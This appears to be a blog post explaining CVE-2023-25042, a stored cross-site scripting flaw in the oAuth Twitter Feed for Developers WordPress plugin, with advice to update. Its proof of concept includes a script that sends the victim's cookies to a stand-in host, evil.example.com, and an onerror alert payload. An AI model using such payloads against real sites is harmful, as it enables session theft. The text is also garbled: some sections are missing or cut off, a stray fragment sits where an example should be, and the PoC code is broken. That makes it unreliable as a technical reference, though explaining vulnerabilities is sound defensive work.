WordPress powers a big part of the internet, and plugins make much of its magic possible. But with that power comes risk, and vulnerabilities like CVE-2023-25042 remind us how a small mistake in a plugin can open the door for attacks. Let's break down what this CVE means, why it matters, how the exploit works, and how to protect your site.

What Is CVE-2023-25042?

CVE-2023-25042 is an Authenticated Stored Cross-Site Scripting (XSS) vulnerability in the oAuth Twitter Feed for Developers plugin for WordPress, made by Liam Gladdy from Storm Consultancy. Versions up to and including 2.3. are affected.

This vulnerability lets an attacker with at least admin-level access inject harmful JavaScript code into certain fields. When other users visit a page or panel where this code is output, the script can run in their browsers — stealing cookies, redirecting users, or even taking over accounts.

Why Is This Vulnerability Serious?

On its own, you might say, “If you need admin, isn’t that already enough access?” However, WordPress sites often have many admin users, including contributors, developers, or even compromised accounts given admin rights by mistake. Stored XSS in an admin area can let an attacker:

Use the site to attack other users or spread malware

Plus, it’s possible with XSS to plant hidden backdoors — vastly increasing the damage over time.

Where’s The Flaw?

Inside the plugin, the admin can enter Twitter account names, search queries, and other details. The vulnerable version doesn’t sanitize or escape some of these inputs properly.

If JavaScript or HTML is injected here, it gets stored in the database and output without enough filtering on WordPress admin pages — a textbook case of stored XSS.

`html

Another admin visits the page

As soon as the page loads, the JavaScript runs. Attackers can steal cookies, capture keystrokes, or perform actions on behalf of the victim without their knowledge.

Example PoC (Proof of Concept)

<script>
    // Steal cookies for demonstration purposes (never use this except in test!)
    fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

or simply

<img src="x" onerror="alert('You have been pwned by CVE-2023-25042')" />

Regularly review your admin users.

How the Patch Works:
The developer made sure all plugin inputs that get printed to an admin page are passed through WordPress escaping functions and/or stripped of harmful HTML tags.

References

- Original Plugin on WordPress.org
- Wordfence Vulnerability Database Entry
- NIST CVE Entry CVE-2023-25042
- Patch Diff on GitHub *(for coding eyes)*

Conclusion

CVE-2023-25042 is a reminder that even trusted plugins used on thousands of WordPress sites can have dangerous flaws. If you’re running the oAuth Twitter Feed for Developers plugin at version 2.3. or below, update right now.

Cross-Site Scripting is still one of the most common — and most dangerous — web security problems out there. Always keep plugins up-to-date, minimize administrative users, and be careful with third-party plugin inputs!

Timeline

Published on: 09/01/2023 11:15:00 UTC
Last modified on: 09/01/2023 20:47:00 UTC